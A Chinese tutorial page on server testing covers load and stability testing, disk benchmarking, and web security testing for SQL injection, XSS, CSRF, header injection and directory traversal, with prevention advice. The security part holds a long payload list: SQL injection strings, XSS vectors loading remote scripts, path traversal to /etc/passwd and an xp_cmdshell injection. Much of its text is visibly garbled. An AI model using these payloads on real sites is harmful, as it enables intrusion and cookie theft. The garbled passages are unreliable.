如何测试服务器安全性

⑴ 如何测试服务器的稳定性

服务器稳定性是最重要的，如果在稳定性方面不能够保证业务运行的需要，在高的性能也是无用的。
正规的服务器厂商都会对产品惊醒不同温度和湿度下的运行稳定性测试。重点要考虑的是冗余功能，如：数据冗余、网卡荣誉、电源冗余、风扇冗余等。
一些测试方法主要分以下几种：
压力测试：已知系统高峰期使用人数，验证各事务在最大并发数(通过高峰期人数换算)下事务响应时间能够达到客户要求。系统各性能指标在这种压力下是否还在正常数值之内。系统是否会因这样的压力导致不良反应(如：宕机、应用异常中止等)。
Ramp Up 增量设计：如并发用户为75人，系统注册用户为1500人，以5%-7%作为并发用户参考值。一般以每15s加载5人的方式进行增压设计，该数值主要参考测试加压机性能，建议Run几次。以事务通过率与错误率衡量实际加载方式。
Ramp Up增量设计目标： 寻找已增量方式加压系统性能瓶颈位置，抓住出现的性能拐点时机，一般常用参考Hits点击率与吞吐量、CPU、内存使用情况综合判断。模拟高峰期使用人数，如早晨的登录，下班后的退出，工资发送时的消息系统等。
另一种极限模拟方式，可视为在峰值压力情况下同时点击事务操作的系统极限操作指标。加压方式不变，在各脚本事务点中设置同集合点名称(如：lr_rendzvous("same");)在场景设计中，使用事务点集合策略。以同时达到集合点百分率为标准，同时释放所有正在Run的Vuser。
稳定性测试：已知系统高峰期使用人数、各事务操作频率等。设计综合测试场景，测试时将每个场景按照一定人数比率一起运行，模拟用户使用数年的情况。并监控在测试中，系统各性能指标在这种压力下是否能保持正常数值。事务响应时间是否会出现波动或随测试时间增涨而增加。系统是否会在测试期间内发生如宕机、应用中止等异常情况。
根据上述测试中，各事务条件下出现性能拐点的位置，已确定稳定性测试并发用户人数。仍然根据实际测试服务器(加压机、应用服务器、数据服务器三方性能)，估算最终并发用户人数。
场景设计思想：
从稳定性测试场景的设计意义，应分多种情况考虑：
针对同一个场景为例，以下以公文附件上传为例简要分析场景设计思想：
1)场景一：已压力测试环境下性能拐点的并发用户为设计测试场景，目的验证极限压力情况下测试服务器各性能指标。
2)场景二：根据压力测试环境中CPU、内存等指标选取服务器所能承受最大压力的50%来确定并发用户数。
测试方法：采用1)Ramp Up-Load all Vusers simultaneously
2)Duration-Run Indefinitely
3)在Sechele-勾选Initalize all Vusers before Run
容错性测试：通过模拟一些非正常情况(如：服务器突然断电、网络时断时续、服务器硬盘空间不足等)，验证系统在发生这些情况时是否能够有自动处理机制以保障系统的正常运行或恢复运行措施。如有HA(自动容灾系统)，还可以专门针对这些自动保护系统进行另外的测试。验证其能否有效触发保护措施。
问题排除性测试：通过原有案例或经验判断，针对系统中曾经发生问题或怀疑存在隐患的模块进行验证测试。验证这些模块是否还会发生同样的性能问题。如：上传附件模块的内存泄露问题、地址本模块优化、开启Tivoli性能监控对OA系统性能的影响等等。
测评测试是用于获取系统的关键性能指标点，而进行的相关测试。主要是针对预先没有明确的预期测试结果，而是要通过测试获取在特定压力场景下的性能指标(如：事务响应时间、最大并发用户数等)。
评测事务交易时间：为获取某事务在特定压力下的响应时间而进行的测试活动。通过模拟已知客户高峰期的各压力值或预期所能承受的压力值，获取事务在这种压力下的响应时间。
评测事务最大并发用户数：为获取某事务在特定系统环境下所能承受的最大并发用户数而进行的测试活动。通过模拟真实环境或直接采用真实环境，评测在这种环境下事务所能承受的最大并发用户数。判定标准阈值需预先定义(如响应时间，CPU占用率，内存占用率，已出现点击率峰值，已出现吞吐量峰值等)。
评测系统最大并发用户数：为获取整个系统所能够承受的最大并发用户数而进行的的测试活动。通过预先分析项目各主要模块的使用比率和频率，定义各事务在综合场景中所占的比率，以比率方式分配各事务并发用户数。模拟真实环境或直接采用真实环境，评测在这种环境下系统所能承受的最大并发用户数。判定标准阀值预先定义(如响应时间，CPU占用率，内存占用率，已出现点击率峰值，已出现吞吐量峰值等)。取值标准以木桶法则为准(并发数最小的事务为整个系统的并发数)。
评测不同数据库数据量对性能的影响：针对不同数据库数据量的测试，将测试结果进行对比，分析发现数据库中各表的数据量对事务性能的影响。得以预先判断系统长时间运行后，或某些模块客户要求数据量较大时可能存在的隐患。
问题定位测试在通过以上测试或用户实际操作已经发现系统中的性能问题或怀疑已存在性能问题。需通过响应的测试场景重现问题或定义问题。如有可能，可以直接找出引起性能问题所在的代码或模块。
该类测试主要还是通过测试出问题的脚本场景，并可以增加发现和检测的工具，如开启Tivoli性能监控、开启HeapDump输出、Linux资源监控命令等。并在场景运行过程中辅以手工测试。

⑵ 性能测试怎么测服务器的稳定性

首先需要在你的服务器上下载安装HD Tune，这是国外的一款免费硬盘检测软件，默认是英文界面，不过大家可以在网上搜一下也能找到中文版的HD Tune软件。
用HDtune对硬盘进行读取性能测试。在软件窗口的“基准”选项页面中，点击左上角的下拉列表选择要进行性能测试的硬盘，软件默认为“读取”测试，然后点击右边的“开始（Start）”，如下图所示：

华云数据的云服务器开通后默认磁盘未分区，要通过该软件测试写入速率再开始测试。

⑶ 如何进行WEB安全性测试

安全性测试主要从以下方面考虑 主要从以下方面考虑： WEB 的安全性测试主要从以下方面考虑： Injection(sql 注入) 1.SQL Injection(SQL 注入) (1)如何进行 SQL 注入测试? 首先找到带有参数传递的 URL 页面,如 搜索页面,登录页面,提交评论页面等等. 注 1:对 于未明显标识在 URL 中传递参数的,可以通过查看 HTML 源代码中的 "FORM"标签来辨别是否还有参数传递.在<FORM> 和</FORM>的标签中间的每一个 参数传递都有可能被利用. <form id="form_search" action="/search/" method="get"> <div> <input type="text" name="q" id="search_q" value="" /> <input name="search" type="image" src="/media/images/site/search_btn.gif" /> <a href="/search/" class="fl">Gamefinder</a> </div> </form> 注 2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的 URL,如 http://DOMAIN/INDEX.ASP?ID=10 其 次,在 URL 参数或表单中加入某些特殊的 SQL 语句或 SQL 片断,如在登 录页面的 URL 中输入 http://DOMAIN /INDEX.ASP?USERNAME=HI' OR 1=1-注 1：根据实际情况,SQL 注入请求可以使用以下语句: ' or 1=1- " or 1=1- or 1=1- ' or 'a'='a " or "a"="a ') or ('a'='a 注 2：为什么是 OR， 以及',――是特殊的字符呢？ 例子：在登录时进行身份验证时，通常使用如下语句来进行验证：sql=select * from user where username='username' and pwd='password' 如 输入 http://ck/index.asp?username=admin' admin' or 1='1&pwd=11，SQL 语句会变成以下：sql=select 11 1='1 username='admin' or 1='1 and password='11 admin' 1='1' 11' 11 * from user where ' 与 admin 前面的'组成了一个查询条件,即 username='admin',接下来的语句将 按下一个查询条件来执行. 接 下来是 OR 查询条件,OR 是一个逻辑运 算符， 在判断多个条件的时候， 只要一 个成立，则等式就成立，后面的 AND 就不再时行判断了，也就是 说我们绕过了密码 验证，我们只用用户名就可以登录. 如 输入 http://ck/index.asp?username=admin'--&pwd=11，SQL 语 admin'-admin'-11 句会 变成以下 sql=select * from user where name='admin' -- and pasword='11', admin' --' 1 '与 admin 前面的'组成了一个查 询条件,即 username='admin',接下来的语句将按 下一个查询条件来执行 接下来是"--"查询条件,“--”是忽略或注释,上 述通过连接符注释掉后面的密码验 证(注:对 ACCESS 数据库 数据库无 效). 最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器 的相关信息;如 果 能说明存在 SQL 安 全漏洞. 试想,如果网站存在 SQL 注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结 构,并对数据库表进行增\删\改的操 作,这样造成的后果是非常严重的. (2)如何预防 SQL 注入? 从应用程序的角度来讲,我们要做以下三项工作 工作: 工作 转义敏感字符及字符串(SQL 的敏感字符包括 “exec”,”xp_”,”sp_”,”declare”,”Union”,”cmd”,”+”,”//”,”..”,”;”,”‘”,”--”,”%”,”0x”,”><=!-*/()|”, 和”空格”). 屏蔽出错信息：阻止攻击者知道攻击的结果 在服务端正式处理之前提交数据的合法性(合法性检查主要包括三 项:数据类型,数据长度,敏感 字符的校验)进行检查等。最根本的解决手段,在确认客 户端的输入合法之前,服务端拒绝进行关 键性的处理操作. 从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将 安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验 以下几项安全性问题: 需求中应说明表单中某一 FIELD 的类型,长度,以及取值范围(主要作用就 是禁止输入敏感字符) 需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序 应给出不包含任何代码或数据库信息的错误提示. 当然在执行测试的过程中,我们也需求对上述两项内容进行测试. 2.Crossscritping(XSS):(跨站点脚本攻击 跨站点脚本攻击) 2.Cross-site scritping(XSS):(跨站点脚本攻击) (1)如何进行 XSS 测试? <!--[if !supportLists]-->首先,找到带有参数传递的 URL,如 交评论,发表留言 页面等等。 登录页面,搜索页面,提 <!--[if !supportLists]-->其次,在页面参数中输入如下语句(如:javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试： <scrīpt>alert(document.cookie)</scrīpt> 注:其它的 XSS 测试语句 ><scrīpt>alert(document.cookie)</scrīpt> ='><scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(vulnerable)</scrīpt> %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E <scrīpt>alert('XSS')</scrīpt> <img src="javascrīpt:alert('XSS')"> %0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp <scrīpt>alert('Vulnerable');</scrīpt> <scrīpt>alert('Vulnerable')</scrīpt> ?sql_debug=1 a%5c.aspx a.jsp/<scrīpt>alert('Vulnerable')</scrīpt> a/ a?<scrīpt>alert('Vulnerable')</scrīpt> "><scrīpt>alert('Vulnerable')</scrīpt> ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E& %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"<XSS>=&{()} <IMG SRC="javascrīpt:alert('XSS');"> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert("XSS")> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> "<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out <IMG SRC=" javascrīpt:alert('XSS');"> <scrīpt>a=/XSS/alert(a.source)</scrīpt> <BODY BACKGROUND="javascrīpt:alert('XSS')"> <BODY ōNLOAD=alert('XSS')> <IMG DYNSRC="javascrīpt:alert('XSS')"> <IMG LOWSRC="javascrīpt:alert('XSS')"> <BGSOUND SRC="javascrīpt:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');"> <IMG SRC='vbscrīpt:msgbox("XSS")'> <IMG SRC="mocha:[code]"> <IMG SRC="livescrīpt:[code]"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');"> <IFRAME SRC=javascrīpt:alert('XSS')></IFRAME> <FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascrīpt:alert('XSS')"> <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> <IMG SRC=javascript:ale&#x <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE> <STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE> <BASE HREF="javascrīpt:alert('XSS');//"> getURL("javascrīpt:alert('XSS')") a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d); <XML SRC="javascrīpt:alert('XSS');"> "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><" <scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt> <IMG SRC="javascrīpt:alert('XSS')" <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A> <STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS>< <!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīp 最后,当用户浏览 时便会弹出一个警告框，内容显示的是浏览者当前的 cookie 串,这就 说明该网站存在 XSS 漏洞。 试想如果我们注入的不是以上这个简单的测试代码，而是一段经常精心设计的恶意脚 本，当用户浏览此帖时，cookie 信息就可能成功的被 攻击者获取。此时浏览者的帐号 就很容易被攻击者掌控了。 (2)如何预防 XSS 漏洞? 从应用程序的角度来讲,要进行以下几项预防: 对 Javascrīpt,VB scrīpt, HTML,ActiveX, Flash 等 语句或脚本进行转义. 在 服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感 字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端 拒绝进行关 键性的处理操作. 从测试人员的角度来讲,要从需求检查和执行测试过程两个阶段来完成 XSS 检查: 在需求检查过程中对各输入项或输出项进行类型、长度以及取 值范围进 行验证，着重验证是否对 HTML 或脚本代码进行了转义。 执行测试过程中也应对上述项进行检查。 3.CSRF:(跨站点伪造请求) 3.CSRF:(跨站点伪造请求) CSRF:(跨站点伪造请求 CSRF 尽管听起来像跨站脚本（XSS），但它与 XSS 非常不同，并且攻击方式 几乎相左。 XSS 是利用站点内的信任用户，而 CSRF 则通过伪装来自受信任用户的请求 来利用受信任的网站。 XSS 也好， CSRF 也好， 它的目的在于窃取用户的信息， SESSION 和 COOKIES 如 （关于 SESSION 和 COOKIES 的介绍请参见我的另一篇 BLOG： http://www.51testing.com/?49689/action_viewspace_itemid_74885.html）， (1)如何进行 CSRF 测试？ 关于这个主题本人也正在研究，目前主要通过安全性测试工具来进行检查。 (2)如何预防 CSRF 漏洞？ 请参见 http://www.hanguofeng.cn/archives/security/preventing-csrf 请 参见 http://getahead.org/blog/joe/2007/01/01/csrf_attacks_or_how_to_ avoid_exposing_your_gmail_contacts.html Injection(邮件标头注入 邮件标头注入) 4.Email Header Injection(邮件标头注入) Email Header Injection：如果表单用于发送 email,表单中可能包括 “subject”输入项（邮件标题），我们要验证 subject 中应能 escape 掉“\n” 标识。 <!--[if !supportLists]--><!--[endif]-->因为“\n”是新行，如果在 subject 中输入“hello\ncc:[email protected]”，可能会形成以 下 Subject: hello cc: [email protected] <!--[if !supportLists]--><!--[endif]-->如果允许用户使用这样的 其它用 subject， 那他可能会给利用这个缺陷通过我们的平台给其它 户发送垃 其它 圾邮件。 Traversal(目录遍历 目录遍历) 5.Directory Traversal(目录遍历) （1）如何进行目录遍历测试？ 目录遍历产生的原因是：程序中没有过滤用户输入的“../”和“./”之 类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的 任意文件。 测试方法： URL 中输入一定数量的 在 “../” “./” 验证系统是否 ESCAPE 和 ， 掉了这些目录跳转符。 （2）如何预防目录遍历？ 限制 Web 应用在服务器上的运行  进 行严格的输入验证，控制用户输入非法路径 messages(错误信息 错误信息) 6.exposed error messages(错误信息) （1）如何进行测试？ 首 先找到一些错误页面，比如 404,或 500 页面。 验证在调试未开通过的情况下， 是否给出了友好的错误提示信息比如“你 访问的页面不存 在”等，而并非曝露一些程序代码。 （2）如何预防？ 测试人员在进行需求检查时，应该对出错信息 进行详细查，比如是否给 出了出错信息，是否给出了正确的出错信息。